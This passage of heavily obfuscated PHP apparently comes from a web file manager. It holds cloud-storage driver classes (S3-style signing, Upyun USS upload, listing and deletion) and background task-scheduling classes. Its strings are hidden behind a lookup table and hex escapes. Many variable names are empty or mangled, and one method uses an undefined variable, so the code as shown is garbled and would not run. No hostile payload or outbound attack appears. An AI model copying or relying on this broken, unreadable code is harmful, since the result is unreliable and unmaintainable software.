$ɧ[$蹘[1450]] = $ü[$蹘[1449]]; } $ = explode($蹘[184], $this->getHost()); $; = array($蹘[1451] => $[1], $蹘[1452] => $蹘[12], $蹘[215] => $蹘[120], $蹘[260] => $ü[$蹘[76]]); $Ϯ = $蹘[228]; $ꌴ = $蹘[8] . $this->pathEncode($ͧ) . $滔; $ = $this->client->__getSignatureV4($ɧ, $;, $Ϯ, $ꌴ); if (strpos($滔, $蹘[227]) === 0) { if (isset($ɧ[$蹘[1450]])) { $ʩ = $ɧ[$蹘[1450]]; } else { if (isset($[$蹘[1450]])) { $ʩ = $[$蹘[1450]]; } else { $ʩ = hash($蹘[258], $蹘[12]); } } return array($蹘[234] => $[$蹘[234]], $蹘[1450] => $ʩ, $蹘[224] => $[$蹘[1453]]); } return $[$蹘[234]]; } public function listUploadParts($̌, $ = array()) { $̞ =& $_SERVER[̧]; $ଷ = str_replace($̞[235], $̞[12], $[$̞[174]]); $ = $this->client->listParts($this->bucket, $̌, $ଷ); if (!$) { return !1; } $ׇ = $̞[1454]; foreach ($ as $) { $ׇ .= $̞[1455] . "\x3c\120\141\x72\x74\116\165\155\x62\x65\162\76{$[$̞[1409]]}\74\57\120\141\x72\164\116\x75\x6d\142\x65\162\x3e\xa" . "\x3c\x45\124\141\147\x3e{$[$̞[1410]]}\74\x2f\x45\124\x61\x67\76\12" . $̞[1456]; } $ׇ .= $̞[1457]; $ = array(); $ѷç = explode($̞[184], $this->getHost()); $Ǫ = array($̞[1451] => $ѷç[1], $̞[215] => $̞[120], $̞[260] => strlen($ׇ)); $Ґη = $̞[226]; $󐉰 = $̞[8] . $this->pathEncode($̌) . $[$̞[174]]; $ = $this->client->__getSignatureV4($, $Ǫ, $Ґη, $󐉰, $ׇ); return array($̞[234] => $[$̞[234]], $̞[224] => $[$̞[1453]], $̞[236] => $, $̞[1450] => $[$̞[1450]]); } public function link($ʜ, $Ԭ = array()) { return parent::link($ʜ, $Ԭ); } public function fileOut($ŗ, $ = false, $ٓþ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[̧][1458])) { return parent::fileOutServer($ŗ, $, $ٓþ, $); } parent::fileOut($ŗ, $, $ٓþ, $); } public function fileOutImage($ɕ, $Ϫ = 250) { if (strstr($this->endpoint, $_SERVER[̧][1458])) { return parent::fileOutImageServer($ɕ, $Ϫ); } parent::fileOutImage($ɕ, $Ϫ); } public function fileOutLink($) { $׾ =& $_SERVER[̧]; if (substr($, 0, 7) == $׾[1351]) { $ = $׾[1352] . substr($, 7); } header($׾[161] . $); die; } public function getHost() { $ٓ =& $_SERVER[̧]; $ = str_rtrim(parent::getHost(), $ٓ[8] . $this->bucket); $ = explode($ٓ[184], $); return $[0] . $ٓ[184] . $this->bucket . $ٓ[10] . $[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $鿂 = 0, $ͮ = 0) { if (!$ͮ) { $ͮ = $this->sourceSize; } $𔲚 = $this->sourceSize - $鿂; if ($ͮ >= $𔲚) { $ͮ = $𔲚; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $鿂, $ͮ); } if ($this->sourceType == self::TYPE_FILE) { if ($ͮ <= 0) { return $_SERVER[̧][12]; } $߲ = ftell($this->source); fseek_64($this->source, $߲ + $鿂); $ܝȽ = @fread($this->source, $ͮ); fseek_64($this->source, $߲); return $ܝȽ; } } public function hashMd5($霆 = false) { return md5($this->getContent()); } public static function hash($݂, $Ƽ = 0) { $Δ = new PathDriverStream($݂, $Ƽ); return $Δ->hashSimple($݂); } public static function md5($ͭ, $Ա = 0) { $ = new PathDriverStream($ͭ, $Ա); return $->hashMd5($ͭ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\160\x3a\57\57\x76\60\x2e\x61\x70\151\56\x75\x70\x79\x75\156\x2e\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($̗) { $ =& $_SERVER[̧]; foreach ($̗ as $ => $걉) { if (isset($this->{$})) { $this->{$} = $걉; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1459] . LNG($[1390])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ȼ, $ߝӳ = "\107\x45\x54") { $š =& $_SERVER[̧]; $ = gmdate($š[1423]); $ܻ = base64_encode(hash_hmac($š[1460], "{$ߝӳ}\46{$ȼ}\x26{$}", md5("{$this->userpass}"), !0)); $ϫ = array("\101\x75\164\150\157\x72\151\172\141\164\151\x6f\x6e\x3a\125\x50\x59\125\116\x20{$this->username}\x3a{$ܻ}", "\x44\141\x74\x65\x3a{$}"); return $ϫ; } public function ussRequest($닭, $¡ = "\x47\105\124", $ߝ = false, $ = false, $ڙ = false) { $׷ =& $_SERVER[̧]; $닭 = trim($닭, $׷[8]); $ = "\x2f{$this->bucket}\57{$닭}"; $Іۼ = $this->ussHeaders($, $¡); if ($) { $Іۼ = array_merge($Іۼ, $); } $ = url_request($this->endpoint . $, $¡, $ߝ, $Іۼ, $ڙ); if (!$) { return array($׷[1232] => !1, $׷[1222] => $׷[1461]); } if (strtolower($¡) == $׷[197] || in_array($[$׷[1232]], array($׷[242], $׷[1462]))) { $ߝ = $[$׷[1463]]; } else { $ߝ = json_decode($[$׷[1222]], !0); if (!$ߝ) { $ߝ = $[$׷[1222]]; } else { if (!$[$׷[770]] && isset($ߝ[$׷[1464]])) { $ߝ = $ߝ[$׷[1464]]; } } } return array($׷[1232] => $[$׷[770]], $׷[1222] => $ߝ); } public function mkfile($h, $ꃖ = '', $ϙ = REPEAT_RENAME) { if ($this->setContent($h, $ꃖ)) { return $this->getPathOuter($h); } return !1; } public function mkdir($֔, $̴ = REPEAT_SKIP) { $ =& $_SERVER[̧]; $̀ۼ = trim($֔, $[8]); if ($this->_isFolder($̀ۼ)) { return $this->getPathOuter($̀ۼ); } $߀ = array($[1465]); $ = $this->ussRequest($̀ۼ, $[226], !1, $߀); return $[$[1232]] ? $this->getPathOuter($̀ۼ) : !1; } public function copyFile($, $ڝ) { $ߴ =& $_SERVER[̧]; $ = array($ߴ[1466] . "\57{$this->bucket}\x2f{$}", $ߴ[1467]); $̰ = $this->ussRequest($ڝ, $ߴ[228], !1, $); return $̰[$ߴ[1232]] ? !0 : $this->getPathOuter($ڝ); } public function moveFile($۬, $إ) { $Z =& $_SERVER[̧]; $嶼 = array($Z[1468] . "\x2f{$this->bucket}\x2f{$۬}", $Z[1467]); $ = $this->ussRequest($إ, $Z[228], !1, $嶼); return $[$Z[1232]] ? !0 : $this->getPathOuter($إ); } public function delFile($) { $򌒘ք =& $_SERVER[̧]; $ȅ = $this->ussRequest($, $򌒘ք[1469]); return $ȅ[$򌒘ք[1232]] ? !0 : !1; } public function delFolder($) { $Ώ =& $_SERVER[̧]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $Ͽ = array(); $this->fileList($, $, $Ͽ, !0); $this->listItemCache = !0; foreach ($Ͽ as $ڝ) { $ޱ = $this->ussRequest($ڝ[$Ώ[32]], $Ώ[1469]); if (!$ޱ[$Ώ[1232]]) { return !1; } } foreach ($ as $﹅ڲ) { $ޱ = $this->ussRequest($﹅ڲ, $Ώ[1469]); if (!$ޱ[$Ώ[1232]]) { return !1; } } $ޱ = $this->ussRequest($, $Ώ[1469]); return $ޱ[$Ώ[1232]]; } public function rename($䨦, $།) { if ($this->isFile($䨦)) { $། = get_path_father($䨦) . $།; return $this->moveFile($䨦, $།); } return $this->renameObject($䨦, $།); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[̧]; $鴩 = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($)); if ($) { return $鴩; } $鴩[$[201]] = $鴩[$[85]] = 0; $鴩[$[202]] = $鴩[$[203]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $鴩; } } $鴩[$[201]] = intval($[$[1470]]); $鴩[$[85]] = intval($[$[1471]]); $鴩[$[76]] = $[$[76]]; return $鴩; } public function folderInfo($͛, $ = false) { $̗ψ =& $_SERVER[̧]; $ = array($̗ψ[32] => $this->pathThis($͛), $̗ψ[84] => $this->getPathOuter($̗ψ[8] . $͛), $̗ψ[33] => $̗ψ[75]); if ($) { return $; } $[$̗ψ[201]] = $[$̗ψ[85]] = 0; $[$̗ψ[202]] = $[$̗ψ[203]] = !0; if (empty($°)) { $° = $this->objectMeta($͛); if (!$°) { return $; } } $[$̗ψ[201]] = intval($°[$̗ψ[1470]]); $[$̗ψ[85]] = intval($°[$̗ψ[1471]]); return $; } private function listObjs($Γ, $ = 0, $ԩ = 1000) { $ =& $_SERVER[̧]; $ϣ = array($[1472], $[1473] . $ԩ); if ($) { $ϣ[] = $[1474] . $; } $ = $this->ussRequest($Γ, $[230], !1, $ϣ); return !$[$[1232]] ? !1 : $[$[1222]]; } private function fileList($̚, &$, &$胙, $ = false) { $ =& $_SERVER[̧]; $Å = $[12]; $߄ = 1000; $Е = rtrim($̚, $[8]) . $[8]; while (!0) { check_abort(); $ֈܚ = $this->listObjs($̚, $Å, $߄); if (!$ֈܚ) { return !1; } $Å = isset($ֈܚ[$[1475]]) ? $ֈܚ[$[1475]] : $[12]; $嚡 = isset($ֈܚ[$[1476]]) ? $ֈܚ[$[1476]] : array(); foreach ($嚡 as $) { $ = $[$[33]] == $[75] ? !0 : !1; $ų = ltrim($Е . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ā = array($[32] => $ų, $[33] => $ ? $[75] : $[200], $[76] => $[$[366]], $[1471] => $[$[1477]]); $this->cacheMethodInfoSet($ų, $, $ā); if ($) { $[] = $ų; if ($) { $this->fileList($ų, $, $胙, $); } continue; } $胙[] = $ā; } if (count($嚡) < $߄) { break; } } $this->cacheMethodInfoSet($̚, !0); } public function listPath($飄, $䳲ɼ = false) { $ =& $_SERVER[̧]; $ = $ = array(); $this->fileList($飄, $, $); foreach ($ as $Ŗˢ => $ڮ) { $[$Ŗˢ] = $this->folderInfo($ڮ, $䳲ɼ); } foreach ($ as $Ŗˢ => $ڮ) { $[$Ŗˢ] = $this->fileInfo($ڮ[$[32]], $䳲ɼ, $ڮ); } return array($[82] => $, $[83] => $); } public function has($, $֥ = false, $ = true) { $׈ =& $_SERVER[̧]; $ = $׈[12]; $‡ = 500; $ = 0; $ = 0; $̳ = rtrim($, $׈[8]) . $׈[8]; while (!0) { check_abort(); $ޮ = $this->listObjs($, $, $‡); if (!$ޮ) { return !1; } $ = isset($ޮ[$׈[1475]]) ? $ޮ[$׈[1475]] : $׈[12]; $ҧń = isset($ޮ[$׈[1476]]) ? $ޮ[$׈[1476]] : array(); if (empty($ҧń)) { break; } $ظ٫ = array_filter($ҧń, function ($) { $ =& $_SERVER[̧]; return $[$[33]] == $[75]; }); $Dž = count($ҧń); $ظ٫ = count($ظ٫); $ = $Dž - $ظ٫; if ($֥) { $ += $ظ٫; $ += $; if ($Dž < $‡) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($ظ٫) { return !0; } } if ($Dž < $‡) { break; } } if ($֥) { return array($׈[207] => $, $׈[208] => $); } return !1; } public function listAll($) { $ӑ =& $_SERVER[̧]; $苁 = $ԇ = array(); $this->fileList($, $苁, $ԇ, !0); $ = array_to_keyvalue($ԇ, $ӑ[32]); foreach ($苁 as $͠) { if (is_string($͠)) { $[$͠] = array($ӑ[76] => 0); } } return $this->listAllFiles($, $); } public function canRead($̆) { return $this->exist($̆) ? !0 : !1; } public function canWrite($ׁϿ) { return $this->exist($ׁϿ) ? !0 : !1; } public function getContent($С) { return $this->fileSubstr($С, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[̧]; if (!$) { $Ί = $this->ussRequest($, $[226]); return $Ί[$[1232]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($蘣, $匐, $ګ) { $ҡ =& $_SERVER[̧]; if (!($ۉΧ = $this->link($蘣))) { return !1; } $ğ = !1; if ($ګ > 0) { $ǩ = $匐 + $ګ - 1; $ğ = array($ҡ[1438] . $匐 . $ҡ[415] . $ǩ); } $ = url_request($ۉΧ, $ҡ[230], !1, $ğ); return $[$ҡ[770]] ? $[$ҡ[1222]] : !1; } public function upload($Ґ, $扢ž, $몙 = false, $۷̱ = REPEAT_REPLACE) { $ץ =& $_SERVER[̧]; $֓ŭ = IO::size($扢ž); if ($֓ŭ <= 1024 * 1024 * 200) { $ٱ = array($ץ[1478] . $扢ž); $µ = $this->ussRequest($Ґ, $ץ[228], $ٱ); return $µ[$ץ[1232]] ? $this->getPathOuter($Ґ) : !1; } $ = 1024 * 1024 * 10; $͵ = array($ץ[1479], $ץ[1480] . $֓ŭ, $ץ[1481], $ץ[1482] . $); $µ = $this->ussRequest($Ґ, $ץ[228], !1, $͵); if (!$µ[$ץ[1232]]) { return !1; } $̼ = $µ[$ץ[1222]]; $ = 0; $ާք = $̼[$ץ[1483]]; $Ջ = fopen($扢ž, $ץ[1387]); if (!$Ջ) { return !1; } do { $Ȝ = $̼[$ץ[1484]]; fseek_64($Ջ, $); $ٯɇ = fread($Ջ, $Ȝ); $ = 0; do { $++; $̼ = $this->uploadPart($Ґ, $̼, $ٯɇ); } while (!$̼ && $ < 3); if (!$̼) { return !1; } $ާք = $̼[$ץ[1483]]; $ += $Ȝ; } while ($ާք != -1); fclose($Ջ); $͵ = array($ץ[1485], $ץ[1486] . $̼[$ץ[1487]], $ץ[1481]); $µ = $this->ussRequest($Ґ, $ץ[228], !1, $͵); return $µ[$ץ[1232]] ? $this->getPathOuter($姷) : !1; } private function uploadPart($ŋ, $󜐃, &$Ԯ) { $Ӹ =& $_SERVER[̧]; $ = array($Ӹ[1488], $Ӹ[1486] . $󜐃[$Ӹ[1487]], $Ӹ[1489] . $󜐃[$Ӹ[1483]], $Ӹ[142] . $󜐃[$Ӹ[1484]]); $ = $this->ussRequest($ŋ, $Ӹ[228], $Ԯ, $); return !$[$Ӹ[1232]] ? $[$Ӹ[1232]] : $[$Ӹ[1222]]; } public function uploadFormData($, $҅ = 3600) { return $this->uploadPolicy($, $҅); } public function multiUploadFormData($ʲޕ, $癴 = 3600) { $Ÿ =& $_SERVER[̧]; $ = (int) $GLOBALS[$Ÿ[7]][$Ÿ[76]]; return $this->uploadPolicy($ʲޕ, $癴, $); } private function uploadPolicy($ݑݒ, $ = 3600, $ = 0) { $Ő =& $_SERVER[̧]; $ = $Ő[8] . $this->bucket; $ = gmdate($Ő[1423]); $Ȇ = array($Ő[1490] => $this->bucket, $Ő[1491] => $ݑݒ, $Ő[1492] => time() + $, $Ő[1493] => $); if ($) { $Ȇ[$Ő[1403]] = $; } $٢ = base64_encode(json_encode($Ȇ)); $ = base64_encode(hash_hmac($Ő[1460], "\x50\117\123\124\46{$}\46{$}\x26{$٢}", md5("{$this->userpass}"), !0)); $͂ = array($Ő[261] => $٢, $Ő[1494] => "\x55\x50\x59\125\116\x20{$this->username}\72{$}", $Ő[182] => $this->endpoint . $); return $͂; } public function download($ǃ, $ե) { $Ə = IO::getPathInner(IO::mkfile($ե)); if (!($⪴ = $this->link($ǃ))) { return !1; } $ԗ = 0; $ = 1024 * 200; $׭ۍ = fopen($Ə, $_SERVER[̧][1444]); while (!0) { $Ԩ = $this->fileSubstr($ǃ, $ԗ, $); if ($Ԩ === !1) { return !1; } fwrite($׭ۍ, $Ԩ); $ԗ += $; if (strlen($Ԩ) < $) { break; } } fclose($׭ۍ); return $ե; } public function link($Ӓ, $ = array()) { $ͧ =& $_SERVER[̧]; $Ӓ = trim($Ӓ, $ͧ[8]); if (!empty($this->token)) { $Х = strtotime(date($ͧ[1495])); $Ѵ = substr(md5($this->token . $ͧ[313] . $Х . $ͧ[1496] . $Ӓ), 12, 8) . $Х; $[] = $ͧ[1497] . $Ѵ; } $۹ɺ = !empty($) ? $ͧ[73] . implode($ͧ[313], $) : $ͧ[12]; return $this->getHost() . $ͧ[8] . $Ӓ . $۹ɺ; } public function fileOut($, $ = false, $ = false, $磋 = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $磋); } if (!$) { $ = $this->pathThis($); } $ж = $ ? array($_SERVER[̧][1498] . rawurlencode($)) : array(); $邈 = $this->link($, $ж); $this->fileOutLink($邈); } public function fileOutServer($ˡ, $ = false, $ = false, $Š = '') { parent::fileOut($ˡ, $, $, $Š); } public function fileOutImage($, $ = 250) { $۝ = $this->link($ . $_SERVER[̧][1499] . $); $this->fileOutLink($۝); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ǟ =& $_SERVER[̧]; $ = $this->_objectMeta($); return isset($[$ǟ[212]]) ? $[$ǟ[212]] : !1; } public function size($) { $Ƣ = $this->objectMeta($); return $Ƣ ? $Ƣ[$_SERVER[̧][76]] : 0; } public function info($Į) { if ($this->isFolder($Į)) { return $this->folderInfo($Į); } else { if ($this->isFile($Į)) { return $this->fileInfo($Į); } } return !1; } public function exist($ƀ) { return $this->isFile($ƀ) || $this->isFolder($ƀ); } public function isFile($ܞ) { return !$this->isFolder($ܞ) && $this->objectMeta($ܞ); } public function isFolder($) { return $this->cacheMethod($_SERVER[̧][165], $); } protected function objectMeta($ڝ) { return $this->cacheMethod($_SERVER[̧][167], $ڝ); } protected function _objectMeta($Ӟ) { $dž =& $_SERVER[̧]; if ($Ӟ == $dž[12] || $Ӟ == $dž[8]) { return array(); } $Оœ = $this->ussRequest($Ӟ, $dž[1500]); if (!$Оœ[$dž[1232]]) { return null; } $ = isset($Оœ[$dž[1222]]) ? $Оœ[$dž[1222]] : array(); if (!isset($[$dž[1501]])) { return null; } $ = array($dž[33] => isset($[$dž[1501]]) ? $[$dž[1501]] : null, $dž[76] => isset($[$dž[1502]]) ? $[$dž[1502]] : null, $dž[212] => isset($[$dž[1503]]) ? $[$dž[1503]] : null, $dž[1470] => isset($[$dž[1504]]) ? $[$dž[1504]] : null); $[$dž[1471]] = isset($[$dž[1505]]) ? strtotime($[$dž[1505]]) : $[$dž[1470]]; return $; } protected function _isFolder($ݙ) { $ޣ =& $_SERVER[̧]; if ($ݙ == $ޣ[12] || $ݙ == $ޣ[8]) { return !0; } $ = $this->_objectMeta($ݙ); return isset($[$ޣ[33]]) && $[$ޣ[33]] == $ޣ[75] ? !0 : !1; } } goto Aش; b㘍: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $郴 =& $_SERVER[̧]; if (self::valueGet($郴[770]) != $郴[88]) { return; } if (self::valueGet($郴[1618]) == $郴[88]) { $Ő = self::valueGet($郴[1619]); if (time() - $Ő > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$郴[1620]] = 1; self::valueSet($郴[1618], $郴[88]); self::log($郴[1621] . ACTION . $郴[1622]); $_SERVER[$郴[1623]] = $郴[1624]; Session::$data = array(); Session::$sessionSign = $郴[12]; $GLOBALS[$郴[532]] = 1; Hook::bind($郴[1625], $郴[1626]); $͓ = 0; while (!0) { self::cacheClear(); if (self::valueGet($郴[770]) != $郴[88]) { self::valueSet($郴[1618], $郴[198]); self::log($郴[1627]); die; } $ӈȡ = time(); if ($ӈȡ - $͓ >= 60) { self::valueSet(array($郴[1618] => $郴[88], $郴[1619] => $ӈȡ), !1); $͓ = $ӈȡ; } if (!file_exists(USER_SYSTEM . $郴[1628])) { self::valueSet(array($郴[1618] => $郴[198], $郴[770] => $郴[198]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ =& $_SERVER[̧]; http_close(); self::valueSet($[770], $[198]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1618] => $[198], $[770] => $[88]), !1); } public static function taskSwitch() { $݁ =& $_SERVER[̧]; $т = self::valueGet($݁[770]) == $݁[88] ? $݁[198] : $݁[88]; self::valueSet($݁[770], $т); } public static function shutdownEvent() { $Ӭ =& $_SERVER[̧]; self::valueSet($Ӭ[1618], $Ӭ[198]); self::log($Ӭ[1629]); } public static function config($΀, $׿) { self::valueSet($_SERVER[̧][770], $΀); } private static function taskRunAll() { $݉ =& $_SERVER[̧]; $ߑ = timeFloat(); $ع = Model($݉[1630])->listData(); $ = count($ع); for ($Ҹ = 0; $Ҹ < $; $Ҹ++) { $Ŀ = $ع[$Ҹ]; if (!$Ŀ[$݉[437]] || $Ŀ[$݉[1631]] != $݉[88]) { continue; } if (!self::taskTimeCheck($Ŀ)) { continue; } self::taskRun($Ŀ); } Hook::trigger($݉[1632]); self::taskQueueRun($ߑ); } private static function taskQueueRun($) { $ᴁ = 10; while (!0) { $Ւ = TaskQueue::run(); if ($Ւ === !1) { break; } if (timeFloat() - $ >= $ᴁ) { break; } } } private static function taskTimeCheck($ؒ) { $ =& $_SERVER[̧]; $ = json_decode($ؒ[$[180]], !0); $ = intval($ؒ[$[1619]]); $ϱ = strtotime($[1633] . $[$[1634]] . $[1635]) - strtotime($[1636]); $‹ = time() - strtotime(date($[1637]) . $[1638]); $ = $‹ >= $ϱ && $‹ <= $ϱ + 3600; switch ($[$[33]]) { case $[1639]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1639]] == date($[1640]) && $) { return !0; } break; case $[1641]: if (time() - $ < 3600 * 24 * 7) { return !1; } $Ȳۡ = date($[1642]) == 0 ? 7 : date($[1642]); if ($[$[1641]] == $Ȳۡ && $) { return !0; } break; case $[1634]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1643]: if (time() - $ >= floatval($[$[1643]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[̧]; static $σ = 0; $է = 300; if (!$σ) { $σ = time(); } if (time() - $σ < $է) { return; } $σ = time(); $ = Model($[542])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1644], $[1645]); die; } } public static function taskRun($箐) { $݉ =& $_SERVER[̧]; self::log($݉[1646] . $箐[$݉[437]] . $݉[1647] . $箐[$݉[32]] . $݉[1648] . $箐[$݉[1649]]); Model($݉[1630])->run($箐[$݉[437]]); $ோä = timeFloat(); $믕 = $݉[12]; switch ($箐[$݉[33]]) { case $݉[336]: $ = url_request($箐[$݉[1649]], $݉[230], !1, !1, !1, !1, 10); if ($[$݉[770]]) { $믕 = strlen($[$݉[1222]]); } break; case $݉[229]: $믕 = Hook::apply($箐[$݉[1649]]); default: break; } Model($݉[1650])->add(array($݉[1651] => $݉[12], $݉[1652] => $݉[198], $݉[33] => $݉[1653] . $箐[$݉[437]], $݉[1654] => json_encode(array($݉[32] => $箐[$݉[32]], $݉[1655] => timeFloat() - $ோä, $݉[322] => $믕)))); $ = $믕 ? $݉[1656] . $믕 : $݉[12]; self::log($݉[1657] . $箐[$݉[437]] . $݉[164] . $); return !0; } public static function valueGet($ۂ) { $ =& $_SERVER[̧]; $Ԑʟ = $[1658]; $ = Model($[473])->get($ۂ, $Ԑʟ); if (is_null($)) { Model($[473])->set($[770], $[88], $Ԑʟ); Model($[473])->set($[1618], $[198], $Ԑʟ); $ = Model($[473])->get($ۂ, $Ԑʟ); } return $; } private static function valueSet($ĸ, $а) { $ =& $_SERVER[̧]; $ێ = $[1659]; CacheLock::lock($ێ); $ӑ = Model($[473])->set($ĸ, $а, $[1658]); CacheLock::unlock($ێ); return $ӑ; } protected static function log($) { write_log($, $_SERVER[̧][1645]); } private static function cacheClear() { $ =& $_SERVER[̧]; Cache::clearMemory(Model($[473])->cacheKey($[1658])); Cache::clearMemory(Model($[473])->cacheKey($[1660])); Model($[1630])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\164\157\x70"; const STATYS_RUNNING = "\x72\165\156\156\x69\x6e\147"; const STATYS_KILL = "\153\x69\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ɷ = '', $ҙ = 0, $٦ = '') { $ =& $_SERVER[̧]; if (self::get($)) { return; } $this->task = array($[437] => $, $[1661] => USER_ID, $[1559] => $٦, $[491] => $[12], $[33] => $ɷ, $[1084] => $[12], $[806] => $ҙ, $[1662] => 0, $[1663] => 0, $[1664] => 0, $[1665] => timeFloat(), $[1666] => 0, $[1667] => 0, $[1668] => 0, $[1669] => 0, $[770] => $[1618]); $GLOBALS[$[1670]] = 1; Hook::bind($[1625], array($this, $[1671])); Hook::bind($[1672], array($this, $[1673])); $this->startAfter(); Hook::trigger($[1674], $this->task); $this->task[$[1667]] = timeFloat(); } public function end($ = '') { $àۙ =& $_SERVER[̧]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$àۙ[1667]]) { self::valueSet($this->task[$àۙ[437]], !1); } $this->isEnd = !0; if ($) { $this->task[$àۙ[491]] = $; } self::log($àۙ[1675] . $this->task[$àۙ[437]] . $àۙ[1676] . sprintf($àۙ[870], timeFloat() - $this->task[$àۙ[1665]]) . $àۙ[1677]); Hook::unbind($àۙ[1625], array($this, $àۙ[1671])); Hook::unbind($àۙ[1672], array($this, $àۙ[1673])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($àۙ[1678], $); } public function update($ۿ = 0, $ = false) { $ =& $_SERVER[̧]; $Ѻ =& $this->task; if (!$Ѻ) { return; } $Ѻ[$[1662]] += $ۿ; $Ѻ[$[1666]] = timeFloat(); if ($Ѻ[$[806]]) { if ($Ѻ[$[806]] < $Ѻ[$[1662]]) { $Ѻ[$[806]] = $Ѻ[$[1662]]; } $ȑރ = timeFloat() - $Ѻ[$[1665]] - $Ѻ[$[1668]]; if ($ȑރ <= 0) { $ȑރ = 0.001; } $Ѻ[$[1663]] = $Ѻ[$[1662]] / $Ѻ[$[806]]; $Ѻ[$[1664]] = $Ѻ[$[1662]] / $ȑރ; if ($Ѻ[$[1663]] > 0) { $Ѻ[$[1669]] = $ȑރ * (1 - $Ѻ[$[1663]]) / $Ѻ[$[1663]]; } $Ѻ[$[1669]] = $Ѻ[$[1669]] <= 0 ? 0 : $Ѻ[$[1669]]; } $this->updateAfter(); $鳞 = 0.2; if (timeFloat() - $Ѻ[$[1667]] < $鳞 && !$) { return; } $ɽ = self::get($Ѻ[$[437]]); $ = $ɽ[$[770]]; if ($ == self::STATYS_KILL) { $ = array($[1679] => LNG($[1680]), $[1232] => !1); Cache::set($[1681] . $this->task[$[437]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $ɽ[$[1668]] += $; self::valueSet($Ѻ[$[437]], $ɽ); sleep($); $this->update(); return; } } $Ѻ[$[770]] = $ ? $ : $Ѻ[$[770]]; $Ѻ[$[1668]] = $ɽ[$[1668]] ? $ɽ[$[1668]] : 0; $Ѻ[$[1667]] = timeFloat(); Hook::trigger($[1682], $Ѻ); self::valueSet($Ѻ[$[437]], $Ѻ); } public function onKillSet($ތ, $ = array()) { $this->onKillCall = array($ތ, $); } public function onKill() { $ =& $_SERVER[̧]; self::log($[1675] . $this->task[$[437]] . $[1683]); Hook::trigger($[1684], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Ƴ) { $〽 =& $_SERVER[̧]; Cache::set($〽[1681] . $this->task[$〽[437]], $Ƴ, 60); return $Ƴ; } public static function get($) { $؏ =& $_SERVER[̧]; $ॿ = self::valueGet($); if (is_array($ॿ) && $ॿ[$؏[1685]]) { $ڳ = ActionApply($ॿ[$؏[1685]], array($ॿ)); $ॿ = is_array($ڳ) ? $ڳ : $ॿ; } return $ॿ; } public static function listData() { $ǜ = self::valueGet(); return array_sort_by($ǜ, $_SERVER[̧][1665], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($ŵ) { return self::changeStatus($ŵ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[̧]; $ = self::listData(); foreach ($ as $д) { self::kill($д[$[437]]); } sleep(2); foreach ($ as $д) { self::valueSet($д[$[437]], !1); } } private static function changeStatus($, $) { $Ǝ =& $_SERVER[̧]; $緙ۿ = self::valueGet($); if (!$緙ۿ) { return !1; } $緙ۿ[$Ǝ[770]] = $; self::valueSet($, $緙ۿ); self::log($Ǝ[1686] . $緙ۿ[$Ǝ[437]] . $Ǝ[1687] . $); return !0; } public static function valueGet($ᜫ = false) { $܃ɀ =& $_SERVER[̧]; if ($ᜫ) { $̸ = Model($܃ɀ[485])->where(array($܃ɀ[94] => $ᜫ, $܃ɀ[33] => $܃ɀ[1091]))->find(); return $̸ ? json_decode($̸[$܃ɀ[403]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($̯ = false) { $ =& $_SERVER[̧]; $򞒋 = array($[33] => $[1091]); if ($̯) { $򞒋[$[1661]] = $̯; } $ = Model($[485])->where($򞒋)->select(); $ = $ ? $ : array(); foreach ($ as $ǝ => $) { $[$ǝ] = 